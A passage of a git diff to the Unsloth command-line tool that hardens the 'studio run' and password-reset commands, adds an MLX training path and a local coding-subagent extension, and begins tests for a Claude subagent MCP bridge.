         "if the tunnel can't start. Without it, --no-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network.",
@@ -1130,23 +1805,39 @@ def run(
     tensor_parallel: bool = typer.Option(
         False,
         "--tensor-parallel/--no-tensor-parallel",
+        rich_help_panel = _RUN_PANEL_MODEL,
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead of "
             "by layer. Multi-GPU only (no effect on one GPU); dense models gain "
             "decode speed, MoE usually don't."
         ),
     ),
+    start_api_key_marker: bool = typer.Option(
+        False,
+        "--start-api-key-marker",
+        hidden = True,
+        help = "Emit an early API key marker for the unsloth start parent process.",
+    ),
+    password: str = typer.Option(
+        "",
+        "--password",
+        rich_help_panel = _RUN_PANEL_ADVANCED,
+        help = "Set the INITIAL admin password non-interactively (headless setups), "
+        "only when none is set yet. Also reads the UNSLOTH_STUDIO_PASSWORD env var, or "
+        "`--password -` to read one line from stdin. A literal value is visible in the "
+        "process list and shell history. Rotate later with `unsloth studio reset-password`.",
+    ),
 ):
-    """Start Studio, load a model, print an API key -- one-liner server.
+    """Start Unsloth, load a model, print an API key -- one-liner server.
 
-    Unknown flags pass through to llama-server (GGUF only). Studio
+    Unknown flags pass through to llama-server (GGUF only). Unsloth
     rejects managed flags with HTTP 400: model identity, network
     (--host/--port/--path/--api-prefix/--reuse-port), auth/TLS
     (--api-key/--ssl-*), single-model UI (--ui/--models-*/--webui),
     and parallel slots (use --parallel above). Full denylist in
     studio/backend/core/inference/llama_server_args.py. Other knobs
     (-c, -ngl, --jinja, --flash-attn, -t, ...) pass through and
-    last-wins-override Studio's auto-set value.
+    last-wins-override Unsloth's auto-set value.
 
     Example:
         unsloth studio run --model unsloth/Qwen3-1.7B-GGUF --gguf-variant UD-Q4_K_XL
@@ -1154,13 +1845,34 @@ def run(
         unsloth studio run --model some-model --chat-template-file /path/to/tpl.jinja
         unsloth studio run --model unsloth/Qwen3-27B-GGUF --gguf-variant Q8_0 --tensor-parallel
     """
+    # A newer outer CLI can re-exec into an older Studio venv; pass this signal via
+    # env so an older child ignores it instead of treating it as a llama-server arg.
+    inherited_start_api_key_marker = _consume_start_api_key_marker_env()
+    start_api_key_marker = start_api_key_marker or inherited_start_api_key_marker
+
     # Back-compat: --not-secure is a deprecated alias for --no-secure.
     secure = _resolve_secure(secure, not_secure)
     extra_llama_args: List[str] = list(ctx.args) if ctx.args else []
 
+    # Tool-call healing/nudging are read from the env at backend import. Resolve here
+    # (before any re-exec/import) so the in-venv child inherits the decision. When the
+    # flag is omitted, respect a value the parent already set (e.g. `unsloth start`
+    # forwards its choice via the env) and otherwise apply the default: healing on,
+    # nudging on for a CLI-launched server.
+    _healing_disabled = (
+        os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING") == "1"
+        if tool_call_healing is None
+        else not tool_call_healing
+    )
+    os.environ["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] = "1" if _healing_disabled else "0"
+    if tool_call_nudging is not None:
+        os.environ["UNSLOTH_TOOL_CALL_NUDGE"] = "1" if tool_call_nudging else "0"
+    elif "UNSLOTH_TOOL_CALL_NUDGE" not in os.environ:
+        os.environ["UNSLOTH_TOOL_CALL_NUDGE"] = "1"
+
     # Set before any re-exec so the in-venv server inherits it via the env.
     # `run --verbose` used to pass through to llama-server (its own -v); keep
-    # that by forwarding --log-verbose so we add Studio logs without dropping it.
+    # that by forwarding --log-verbose so we add Unsloth logs without dropping it.
     if verbose:
         _enable_verbose_access_logs()
         if not any(a in ("--verbose", "-v", "--log-verbose") for a in extra_llama_args):
@@ -1207,13 +1919,20 @@ def run(
 
     # --secure requires the tunnel; force a loopback bind so the raw port is never public.
     if secure:
-        if not cloudflare:
+        if cloudflare is False:
             typer.echo(
                 "Error: --secure requires the Cloudflare tunnel; do not combine it "
                 "with --no-cloudflare.",
                 err = True,
             )
             raise typer.Exit(2)
+        if host not in ("127.0.0.1", "localhost", "::1"):
+            typer.echo(
+                "Note: --secure ignores -H (it binds loopback and serves only "
+                "through the Cloudflare tunnel). Drop --secure to bind "
+                f"{host} directly, or keep --secure for a tunnel-only public link.",
+                err = True,
+            )
         host = "127.0.0.1"
 
     # Tool policy no longer depends on the bind: tools default on everywhere
@@ -1228,20 +1947,74 @@ def run(
         silent = silent,
     )
 
-    # 1. Re-exec into the studio venv (same pattern as studio_default).
+    # 1. Re-exec into the studio venv (same pattern as studio_default). Resolve
+    # the child launcher BEFORE the gate: a headless gate strips the seeded
+    # .bootstrap_password, so aborting afterward (venv/entry point missing) would
+    # leave must_change_password=1 with no password to log in.
     studio_venv_dir = STUDIO_HOME / "unsloth_studio"
     in_studio_venv = sys.prefix.startswith(str(studio_venv_dir))
-
+    studio_bin = None
+    resolved_frontend = frontend
     if not in_studio_venv:
         studio_python = _studio_venv_python()
         if not studio_python:
-            typer.echo("Studio not set up. Run install.sh first.")
+            typer.echo("Unsloth Studio not set up. Run install.sh first.")
             raise typer.Exit(1)
         # Re-exec via the studio venv's `unsloth` console-script.
         studio_bin = studio_python.parent / "unsloth"
         if not studio_bin.is_file():
-            typer.echo("Studio venv missing 'unsloth' entry point. Re-run: unsloth studio setup")
+            typer.echo("Unsloth venv missing 'unsloth' entry point. Re-run: unsloth studio setup")
             raise typer.Exit(1)
+        # `run` serves the same Unsloth UI (unless --api-only); a public launch must
+        # have a servable login page BEFORE the gate strips the seeded password, or
+        # the child has no way to change it. Validate here and forward the resolved
+        # dist so a shadowed child that can't self-resolve one still serves it.
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+    else:
+        # In-venv (in-process) run: validate the servable frontend and importable
+        # backend before the headless gate strips the seeded password. Frontend
+        # check first (cheap); backend import is headless-only so a prompt isn't
+        # delayed.
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+        _validate_inproc_backend_before_strip(
+            cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+        )
+
+    # A supplied --password / UNSLOTH_STUDIO_PASSWORD / stdin sets the initial
+    # admin password here in the parent, before the gate and any re-exec, so the
+    # secret never reaches the child argv; strip the env var so a re-exec'd child
+    # can't re-read it. The interactive gate below then no-ops.
+    _apply_supplied_password_before_launch(_password_prompt.resolve_supplied_password(password))
+    os.environ.pop(_password_prompt.SUPPLIED_PASSWORD_ENV, None)
+
+    # Public (tunnel) exposure with the seeded default password: force a terminal
+    # password change first, before any re-exec or server exists. The re-exec here
+    # runs the studio venv's `unsloth` console script (a possibly-OLD child), so it
+    # is NOT provably self-suppressing -- only the in-process case is, and the
+    # strip stays in force otherwise.
+    _enforce_password_change_before_exposure(
+        cloudflare = cloudflare,
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        child_self_suppresses = _child_self_suppresses(
+            in_studio_venv = in_studio_venv, child_run_py = None
+        ),
+    )
+
+    if not in_studio_venv:
         args = [
             str(studio_bin),
             "studio",
@@ -1262,8 +2035,12 @@ def run(
         # Forward the explicit polarity; a future default flip on one
         # layer must not silently invert behaviour for the other.
         args.append("--load-in-4bit" if load_in_4bit else "--no-load-in-4bit")
-        if frontend:
-            args.extend(["--frontend", str(frontend)])
+        # Forward the frontend resolved before the gate, not just a user-supplied
+        # one: the parent may have found a built dist the shadowed child cannot,
+        # and stripping without forwarding it would abort the child at frontend
+        # setup (lockout).
+        if resolved_frontend is not None:
+            args.extend(["--frontend", str(resolved_frontend)])
         if api_only:
             args.append("--api-only")
         if silent:
@@ -1279,8 +2056,13 @@ def run(
         # Typer claims --parallel outside ctx.args; without this the
         # child reverts to its default and silently drops the value.
         args.extend(["--parallel", str(parallel)])
-        # Forward the explicit polarity (same rationale as --load-in-4bit above).
-        args.append("--cloudflare" if cloudflare else "--no-cloudflare")
+        # Always forward explicit polarity: a mixed-version studio venv whose old
+        # default was --cloudflare-on must not silently re-enable the tunnel.
+        # --secure implies it, so forward nothing then.
+        if cloudflare is True:
+            args.append("--cloudflare")
+        elif not secure:
+            args.append("--no-cloudflare")
         args.append("--secure" if secure else "--no-secure")
         args.append("--tensor-parallel" if tensor_parallel else "--no-tensor-parallel")
         if verbose:
@@ -1289,15 +2071,21 @@ def run(
         if extra_llama_args:
             args.extend(extra_llama_args)
 
-        if sys.platform == "win32":
-            proc = subprocess.Popen(args)
-            try:
-                rc = proc.wait()
-            except KeyboardInterrupt:
-                rc = proc.wait()
-            raise typer.Exit(rc)
-        else:
-            os.execvp(str(studio_bin), args)
+        if start_api_key_marker:
+            os.environ[_START_API_KEY_MARKER_ENV] = "1"
+        try:
+            if sys.platform == "win32":
+                proc = subprocess.Popen(args)
+                try:
+                    rc = proc.wait()
+                except KeyboardInterrupt:
+                    rc = proc.wait()
+                raise typer.Exit(rc)
+            else:
+                os.execvp(str(studio_bin), args)
+        finally:
+            # execvp doesn't return on success; restore env after a Windows wait or a failed launch.
+            os.environ.pop(_START_API_KEY_MARKER_ENV, None)
 
     # ── 2. Start server (always suppress built-in banner) ─────────────
     run_mod = _load_run_module()
@@ -1322,8 +2110,9 @@ def run(
         # TAURI_PORT line would corrupt that machine-parseable output.
         emit_tauri_port = False,
     )
-    if frontend is not None:
-        run_kwargs["frontend_path"] = frontend
+    # Forward the frontend validated before the gate (in-venv path).
+    if resolved_frontend is not None:
+        run_kwargs["frontend_path"] = resolved_frontend
     app = run_server(**run_kwargs)
     actual_port = getattr(app.state, "server_port", port) or port
 
@@ -1342,6 +2131,10 @@ def run(
 
         # 4. Create API key in-process.
         api_key = _create_api_key_inprocess(api_key_name)
+        if start_api_key_marker:
+            # `unsloth start` reads this key from a private 0600 log to authenticate
+            # download-progress polling; the normal `unsloth run` output is unchanged.
+            typer.echo(f"UNSLOTH_START_API_KEY: {api_key}")
 
         # 5. Load model via HTTP.
         if not silent:
@@ -1513,7 +2306,7 @@ def stop():
     import signal as _signal
 
     if not _PID_FILE.is_file():
-        typer.echo("No running Studio server found (no PID file).")
+        typer.echo("No running Unsloth server found (no PID file).")
         raise typer.Exit(0)
 
     pid_text = _PID_FILE.read_text().strip()
@@ -1526,23 +2319,24 @@ def stop():
 
     # Check if still alive (os.kill(pid, 0) is invalid on Windows -- see _pid_alive).
     if not _pid_alive(pid):
-        typer.echo(f"Studio server (PID {pid}) is not running. Cleaning up stale PID file.")
+        typer.echo(f"Unsloth server (PID {pid}) is not running. Cleaning up stale PID file.")
         _PID_FILE.unlink(missing_ok = True)
         raise typer.Exit(0)
 
     # Send SIGTERM (graceful shutdown) or TerminateProcess on Windows
     try:
         if sys.platform == "win32":
-            subprocess.run(["taskkill", "/PID", str(pid), "/F"], check = True)
+            # /T also stops llama-server children, which otherwise keep GPU and port.
+            subprocess.run(["taskkill", "/PID", str(pid), "/T", "/F"], check = True)
         else:
             os.kill(pid, _signal.SIGTERM)
-        typer.echo(f"Sent shutdown signal to Studio server (PID {pid}).")
+        typer.echo(f"Sent shutdown signal to Unsloth server (PID {pid}).")
     except ProcessLookupError:
-        typer.echo(f"Studio server (PID {pid}) already exited.")
+        typer.echo(f"Unsloth server (PID {pid}) already exited.")
         _PID_FILE.unlink(missing_ok = True)
         raise typer.Exit(0)
     except Exception as e:
-        typer.echo(f"Failed to stop Studio server (PID {pid}): {e}", err = True)
+        typer.echo(f"Failed to stop Unsloth server (PID {pid}): {e}", err = True)
         raise typer.Exit(1)
 
     # Wait briefly for the process to exit and clean up.
@@ -1550,10 +2344,10 @@ def stop():
         time.sleep(0.5)
         if not _pid_alive(pid):
             _PID_FILE.unlink(missing_ok = True)
-            typer.echo("Studio server stopped.")
+            typer.echo("Unsloth server stopped.")
             raise typer.Exit(0)
 
-    typer.echo("Studio server is shutting down (may take a few seconds).")
+    typer.echo("Unsloth server is shutting down (may take a few seconds).")
 
 
 # ── unsloth studio setup / update ─────────────────────────────────────
@@ -1768,7 +2562,7 @@ def setup(
         help = "Full pip/build output during setup for troubleshooting.",
     ),
 ):
-    """Run Studio setup (called by install.ps1 / install.sh)."""
+    """Run Unsloth setup (called by install.ps1 / install.sh)."""
     _run_setup_script(verbose = verbose)
 
 
@@ -1929,10 +2723,10 @@ def provision_desktop_auth():
 
 @studio_app.command("reset-password")
 def reset_password():
-    """Reset the Studio admin password.
+    """Reset the Unsloth admin password.
 
     Deletes the auth database so that a fresh admin account with a new
-    random password is created on the next server start.  The Studio
+    random password is created on the next server start.  The Unsloth
     server must be restarted after running this command.
     """
     auth_dir = STUDIO_HOME / "auth"
@@ -1943,9 +2737,44 @@ def reset_password():
     ]
     had_db = db_file.exists()
 
-    db_file.unlink(missing_ok = True)
+    # Delete auth.db FIRST and prove it is gone before touching the seeded
+    # credential files. If it cannot be removed (a running Unsloth or Windows
+    # holds it open, or a read-only auth dir), abort with the credential files
+    # untouched: deleting them while an un-resettable DB (must_change_password=1)
+    # survives would lock a forgotten-password reset out of any recovery
+    # credential. Failing here leaves a consistent, still-recoverable state.
+    try:
+        db_file.unlink(missing_ok = True)
+    except OSError as exc:
+        typer.echo(
+            f"Error: could not delete the auth database ({exc}). Stop any running "
+            "Unsloth and retry; no credential files were changed.",
+            err = True,
+        )
+        raise typer.Exit(1)
+
+    # The DB is gone, so the next start re-seeds. Invalidate the seeded plaintext
+    # credential files so that re-seed generates a FRESH password instead of
+    # reusing a stale one: unlink only ignores FileNotFoundError, so a
+    # locked/undeletable file (Windows AV, read-only dir) would otherwise survive
+    # and generate_bootstrap_password() would read it back and re-validate the
+    # credential this reset revoked. Truncate on unlink failure; if a file can be
+    # neither removed nor truncated, fail closed -- the DB is already gone, so a
+    # surviving plaintext would be reused, and the user must remove it manually.
     for path in stale_files:
-        path.unlink(missing_ok = True)
+        try:
+            path.unlink(missing_ok = True)
+        except OSError:
+            try:
+                path.write_text("")
+            except OSError as exc:
+                typer.echo(
+                    f"Error: could not remove or clear {path.name} ({exc}); delete "
+                    "it manually before restarting Unsloth or the old password may "
+                    "be reused.",
+                    err = True,
+                )
+                raise typer.Exit(1)
 
     if not had_db:
         typer.echo("No auth database found -- nothing to reset.")
diff --git a/unsloth_cli/commands/train.py b/unsloth_cli/commands/train.py
index 9d47a574d5..c52c2344b7 100644
--- a/unsloth_cli/commands/train.py
+++ b/unsloth_cli/commands/train.py
@@ -7,10 +7,42 @@ from typing import Optional
 
 import typer
 
+from unsloth_cli._inference import ensure_studio_backend_path
 from unsloth_cli.config import Config, load_config
 from unsloth_cli.options import add_options_from_config
 
 
+def _should_use_mlx_backend_for_cli() -> bool:
+    ensure_studio_backend_path()
+    from studio.backend.core.training.training import should_use_mlx_training_backend
+    return should_use_mlx_training_backend()
+
+
+def _activate_mlx_transformers(model_name: str, hf_token: Optional[str]) -> None:
+    # Activate before any transformers import: adapter model-type detection imports utils.models.
+    ensure_studio_backend_path()
+    from utils.transformers_version import activate_transformers_for_subprocess
+    try:
+        activate_transformers_for_subprocess(model_name, hf_token)
+    except Exception as exc:
+        typer.echo(f"Warning: failed to activate Transformers sidecar: {exc}", err = True)
+
+
+def _create_cli_trainer(model_name: str, hf_token: Optional[str]):
+    if _should_use_mlx_backend_for_cli():
+        _activate_mlx_transformers(model_name, hf_token)
+        # MLX is torch-free: use the lightweight adapter, not trainer.py (imports torch/unsloth/trl at load).
+        ensure_studio_backend_path()
+        from studio.backend.core.training.training import create_mlx_trainer_adapter
+
+        return create_mlx_trainer_adapter()
+
+    ensure_studio_backend_path()
+    from studio.backend.core.training.trainer import UnslothTrainer
+
+    return UnslothTrainer()
+
+
 @add_options_from_config(Config)
 def train(
     config: Optional[Path] = typer.Option(
@@ -39,6 +71,7 @@ def train(
         typer.echo(f"Error: {e}", err = True)
         raise typer.Exit(code = 2)
 
+    config_overrides = config_overrides or {}
     cfg.apply_overrides(**config_overrides)
 
     # CLI/env tokens take precedence; guard against unresolved typer.Option
@@ -83,9 +116,7 @@ def train(
         )
         raise typer.Exit(code = 2)
 
-    from studio.backend.core.training.trainer import UnslothTrainer
-
-    trainer = UnslothTrainer()
+    trainer = _create_cli_trainer(cfg.model, hf_token)
 
     # Load model (trainer.is_vlm is set after this)
     if not trainer.load_model(
@@ -124,13 +155,20 @@ def train(
 
     try:
         while trainer.training_thread and trainer.training_thread.is_alive():
+            progress = trainer.get_training_progress()
+            if getattr(progress, "error", None):
+                break
             time.sleep(1)
     except KeyboardInterrupt:
         typer.echo("Stopping training (Ctrl+C detected)...")
         trainer.stop_training()
     finally:
         if trainer.training_thread:
-            trainer.training_thread.join()
+            progress = trainer.get_training_progress()
+            if getattr(progress, "error", None):
+                trainer.training_thread.join(timeout = 5)
+            else:
+                trainer.training_thread.join()
 
     final = trainer.get_training_progress()
     if getattr(final, "error", None):
diff --git a/unsloth_cli/pi_subagent.ts b/unsloth_cli/pi_subagent.ts
new file mode 100644
index 0000000000..d712fc89ae
--- /dev/null
+++ b/unsloth_cli/pi_subagent.ts
@@ -0,0 +1,241 @@
+import { spawn, type ChildProcess } from "node:child_process";
+import * as fs from "node:fs";
+import * as path from "node:path";
+import { fileURLToPath } from "node:url";
+import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
+import { Type } from "typebox";
+
+const provider = "unsloth";
+const maxResultCharacters = 100_000;
+const cancelGraceMilliseconds = 2_000;
+const configPath = process.env.UNSLOTH_PI_SUBAGENT_CONFIG || "";
+delete process.env.UNSLOTH_PI_SUBAGENT_CONFIG;
+let config: Record<string, unknown> = {};
+if (configPath) {
+	try {
+		const parsed = JSON.parse(fs.readFileSync(configPath, "utf8"));
+		if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
+			throw new Error("expected a JSON object");
+		}
+		config = parsed;
+	} catch (error) {
+		throw new Error(`Could not read Unsloth subagent configuration: ${error}`);
+	}
+}
+const model = typeof config.model === "string" ? config.model : "";
+const baseUrl = typeof config.baseUrl === "string" ? config.baseUrl : "";
+const apiKey = typeof config.apiKey === "string" ? config.apiKey : "";
+const contextWindow = positiveInt(config.contextWindow, 32768);
+const maxTokens = positiveInt(config.maxTokens, Math.min(Math.floor(contextWindow / 4), 8192));
+
+function positiveInt(value: unknown, fallback: number): number {
+	const parsed = Number.parseInt(typeof value === "string" ? value : String(value || ""), 10);
+	return Number.isFinite(parsed) && parsed > 0 ? parsed : fallback;
+}
+
+function finalText(message: any): string {
+	if (message?.role !== "assistant" || !Array.isArray(message.content)) return "";
+	return message.content
+		.filter((part: any) => part?.type === "text" && typeof part.text === "string")
+		.map((part: any) => part.text)
+		.join("\n")
+		.trim();
+}
+
+function boundedResult(text: string): string {
+	if (text.length <= maxResultCharacters) return text;
+	return `${text.slice(0, maxResultCharacters)}\n\n[Local agent output truncated]`;
+}
+
+function piInvocation(args: string[]): { command: string; args: string[] } {
+	const currentScript = process.argv[1];
+	const bunVirtualScript = currentScript?.startsWith("/$bunfs/root/");
+	if (currentScript && !bunVirtualScript && fs.existsSync(currentScript)) {
+		return { command: process.execPath, args: [currentScript, ...args] };
+	}
+	const executable = path.basename(process.execPath).toLowerCase();
+	if (!/^(node|bun)(\.exe)?$/.test(executable)) return { command: process.execPath, args };
+	return { command: "pi", args };
+}
+
+function signalProcessGroup(child: ChildProcess, signal: NodeJS.Signals): void {
+	if (!child.pid) return;
+	try {
+		process.kill(-child.pid, signal);
+	} catch {
+		try {
+			child.kill(signal);
+		} catch {
+			// The process tree already exited.
+		}
+	}
+}
+
+async function stopChildTree(child: ChildProcess): Promise<void> {
+	if (!child.pid) return;
+	if (process.platform === "win32") {
+		await new Promise<void>((resolve) => {
+			const killer = spawn("taskkill", ["/PID", String(child.pid), "/T", "/F"], {
+				shell: false,
+				stdio: "ignore",
+				windowsHide: true,
+			});
+			killer.once("error", () => {
+				try {
+					child.kill("SIGKILL");
+				} catch {
+					// The child already exited.
+				}
+				resolve();
+			});
+			killer.once("close", (code) => {
+				if (code !== 0) {
+					try {
+						child.kill("SIGKILL");
+					} catch {
+						// The child already exited.
+					}
+				}
+				resolve();
+			});
+		});
+		return;
+	}
+
+	signalProcessGroup(child, "SIGTERM");
+	await new Promise((resolve) => setTimeout(resolve, cancelGraceMilliseconds));
+	signalProcessGroup(child, "SIGKILL");
+}
+
+export default function unslothSubagent(pi: ExtensionAPI): void {
+	if (!model || !baseUrl || !apiKey || !configPath) {
+		throw new Error("Unsloth subagent configuration is incomplete.");
+	}
+
+	pi.registerProvider(provider, {
+		name: "Unsloth Studio",
+		baseUrl,
+		apiKey,
+		api: "openai-completions",
+		authHeader: true,
+		models: [
+			{
+				id: model,
+				name: `${model} via Unsloth`,
+				reasoning: false,
+				input: ["text"],
+				cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
+				contextWindow,
+				maxTokens,
+			},
+		],
+	});
+
+	if (process.env.UNSLOTH_PI_SUBAGENT_CHILD === "1") return;
+
+	pi.registerTool({
+		name: "unsloth_agent",
+		label: "Unsloth agent",
+		description:
+			"Local coding subagent powered by Unsloth for debugging, implementation, and codebase research. Use when the user asks to spawn an Unsloth or local agent.",
+		parameters: Type.Object({
+			task: Type.String({ description: "The complete task for the local Unsloth agent." }),
+		}),
+		async execute(_toolCallId, params, signal, _onUpdate, ctx) {
+			const extension = fileURLToPath(import.meta.url);
+			const args = [
+				"--mode",
+				"json",
+				"--print",
+				"--no-session",
+				"--provider",
+				provider,
+				"--model",
+				model,
+				"--no-extensions",
+				"--extension",
+				extension,
+				`Task: ${params.task}`,
+			];
+			const invocation = piInvocation(args);
+			let output = "";
+			let stderr = "";
+			let lastResponse = "";
+			let childError = "";
+			let aborted = false;
+			const processLine = (line: string) => {
+				try {
+					const event = JSON.parse(line);
+					if (event.type !== "message_end") return;
+					const message = event.message;
+					// Pi reports model/API failures as message_end events while still
+					// exiting 0, so the exit status alone cannot surface them.
+					if (message?.stopReason === "error" || message?.stopReason === "aborted") {
+						childError =
+							(typeof message.errorMessage === "string" && message.errorMessage) ||
+							`The local Unsloth agent stopped: ${message.stopReason}.`;
+						return;
+					}
+					const response = finalText(message);
+					if (response) {
+						lastResponse = boundedResult(response);
+						childError = "";
+					}
+				} catch {
+					// Ignore non-JSON diagnostic lines. The exit status still reports failures.
+				}
+			};
+
+			const exitCode = await new Promise<number>((resolve, reject) => {
+				const child = spawn(invocation.command, invocation.args, {
+					cwd: ctx.cwd,
+					detached: process.platform !== "win32",
+					shell: false,
+					stdio: ["ignore", "pipe", "pipe"],
+					env: {
+						...process.env,
+						UNSLOTH_PI_SUBAGENT_CHILD: "1",
+						UNSLOTH_PI_SUBAGENT_CONFIG: configPath,
+					},
+				});
+				let cleanup: Promise<void> | undefined;
+				const cancel = () => {
+					if (aborted) return;
+					aborted = true;
+					cleanup = stopChildTree(child);
+				};
+				child.on("error", (error) => {
+					signal?.removeEventListener("abort", cancel);
+					reject(error);
+				});
+				child.stdout.on("data", (chunk) => {
+					output += chunk.toString();
+					const lines = output.split("\n");
+					output = lines.pop() || "";
+					for (const line of lines) processLine(line);
+				});
+				child.stderr.on("data", (chunk) => {
+					stderr = (stderr + chunk.toString()).slice(-100_000);
+				});
+				child.on("close", async (code) => {
+					signal?.removeEventListener("abort", cancel);
+					await cleanup;
+					if (output.trim()) processLine(output);
+					resolve(code ?? 1);
+				});
+				signal?.addEventListener("abort", cancel, { once: true });
+				if (signal?.aborted) cancel();
+			});
+
+			if (aborted) throw new Error("The local Unsloth agent was cancelled.");
+			if (exitCode !== 0) {
+				throw new Error(stderr.trim() || `The local Unsloth agent exited with code ${exitCode}.`);
+			}
+			if (childError) throw new Error(boundedResult(childError));
+			return {
+				content: [{ type: "text", text: lastResponse || "The local agent returned no text." }],
+				details: { provider, model },
+			};
+		},
+	});
+}
diff --git a/unsloth_cli/tests/test_claude_subagent_mcp.py b/unsloth_cli/tests/test_claude_subagent_mcp.py
new file mode 100644
index 0000000000..13a9bd6255
--- /dev/null
+++ b/unsloth_cli/tests/test_claude_subagent_mcp.py
@@ -0,0 +1,338 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import io
+import json
+import os
+import subprocess
+import sys
+import time
+
+import pytest
+
+import unsloth_cli.claude_subagent_mcp as bridge
+
+
+def test_protocol_lists_and_calls_local_agent():
+    initialized = bridge._response(
+        {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {}},
+    )
+    assert initialized["result"]["serverInfo"]["name"] == "unsloth-local-agent"
+
+    listed = bridge._response({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
+    tool = listed["result"]["tools"][0]
+    assert tool["name"] == "unsloth_agent"
+    assert "spawn an Unsloth or local agent" in tool["description"]
+    assert tool["inputSchema"]["required"] == ["task"]
+    assert tool["_meta"]["anthropic/maxResultSizeChars"] == 100_000
+
+    called = bridge._response(
+        {
+            "jsonrpc": "2.0",
+            "id": 3,
+            "method": "tools/call",
+            "params": {"name": "unsloth_agent", "arguments": {"task": " inspect this "}},
+        },
+        run_agent = lambda task: f"completed: {task}",
+    )
+    assert called["result"] == {
+        "content": [{"type": "text", "text": "completed: inspect this"}],
+        "isError": False,
+    }
+
+
+def test_protocol_returns_tool_errors_to_parent():
+    response = bridge._response(
+        {
+            "jsonrpc": "2.0",
+            "id": 1,
+            "method": "tools/call",
+            "params": {"name": "unsloth_agent", "arguments": {"task": "test"}},
+        },
+        run_agent = lambda task: (_ for _ in ()).throw(RuntimeError("local failure")),
+    )
+    assert response["result"]["isError"] is True
+    assert response["result"]["content"][0]["text"] == "local failure"
+
+
+def test_stdio_server_ignores_notifications_and_answers_requests():
+    requests = "\n".join(
+        [
+            json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}),
+            json.dumps({"jsonrpc": "2.0", "id": 4, "method": "ping"}),
+        ]
+    )
+    output = io.StringIO()
+    bridge.serve(io.StringIO(requests), output)
+    assert json.loads(output.getvalue()) == {"jsonrpc": "2.0", "id": 4, "result": {}}
+
+
+def test_stdio_cancellation_reaches_the_running_local_agent():
+    requests = "\n".join(
+        [
+            json.dumps(
+                {
+                    "jsonrpc": "2.0",
+                    "id": "call-1",
+                    "method": "tools/call",
+                    "params": {"name": "unsloth_agent", "arguments": {"task": "wait"}},
+                }
+            ),
+            json.dumps(
+                {
+                    "jsonrpc": "2.0",
+                    "method": "notifications/cancelled",
+                    "params": {"requestId": "call-1", "reason": "user cancelled"},
+                }
+            ),
+        ]
+    )
+    output = io.StringIO()
+    cancelled = []
+
+    def run_agent(task, cancel_event):
+        assert task == "wait"
+        assert cancel_event.wait(timeout = 1)
+        cancelled.append(task)
+        raise RuntimeError("The local Claude agent was cancelled.")
+
+    bridge.serve(io.StringIO(requests), output, run_agent = run_agent)
+    assert cancelled == ["wait"]
+    assert output.getvalue() == ""
+
+
+def test_stdio_sigint_stops_the_running_local_agent(monkeypatch):
+    request = json.dumps(
+        {
+            "jsonrpc": "2.0",
+            "id": "call-1",
+            "method": "tools/call",
+            "params": {"name": "unsloth_agent", "arguments": {"task": "wait"}},
+        }
+    )
+    handlers = {}
+    started = bridge.threading.Event()
+    cancelled = []
+
+    def set_handler(signum, handler):
+        previous = handlers.get(signum, bridge.signal.SIG_DFL)
+        handlers[signum] = handler
+        return previous
+
+    monkeypatch.setattr(bridge.signal, "signal", set_handler)
+
+    class InterruptingInput:
+        def __init__(self):
+            self.sent = False
+
+        def __iter__(self):
+            return self
+
+        def __next__(self):
+            if not self.sent:
+                self.sent = True
+                return request + "\n"
+            assert started.wait(timeout = 1)
+            handlers[bridge.signal.SIGINT](bridge.signal.SIGINT, None)
+            raise AssertionError("SIGINT handler must unwind the stdin loop")
+
+    def run_agent(task, cancel_event):
+        assert task == "wait"
+        started.set()
+        assert cancel_event.wait(timeout = 1)
+        # Real Claude Code sends SIGINT twice. The second one must not abort cleanup.
+        handlers[bridge.signal.SIGINT](bridge.signal.SIGINT, None)
+        cancelled.append(task)
+        raise RuntimeError("The local Claude agent was cancelled.")
+
+    output = io.StringIO()
+    bridge.serve(InterruptingInput(), output, run_agent = run_agent)
+    assert cancelled == ["wait"]
+    assert output.getvalue() == ""
+
+
+@pytest.mark.parametrize(
+    ("bypass", "permission"),
+    [("0", "acceptEdits"), ("1", "bypassPermissions")],
+)
+def test_local_child_uses_unsloth_without_overwriting_parent_auth(
+    monkeypatch, tmp_path, bypass, permission
+):
+    captured = {}
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_BASE_URL", "http://127.0.0.1:8888")
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_API_KEY", "sk-unsloth-test")
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_MODEL", "unsloth/model-GGUF:Q4_K_M")
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_CONTEXT_WINDOW", "32768")
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_BYPASS_PERMISSIONS", bypass)
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "cloud-key")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "cloud-oauth")
+    monkeypatch.setenv("CLAUDE_PROJECT_DIR", str(tmp_path))
+    monkeypatch.setattr(bridge.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(bridge, "_claude_flags", lambda model: ["--settings", "{}"])
+
+    class Process:
+        pid = 1234
+        returncode = 0
+
+        def communicate(self, timeout):
+            captured["timeout"] = timeout
+            return json.dumps({"is_error": False, "result": "LOCAL_OK"}), ""
+
+        def poll(self):
+            return self.returncode
+
+    def popen(command, **kwargs):
+        captured["command"] = command
+        captured.update(kwargs)
+        return Process()
+
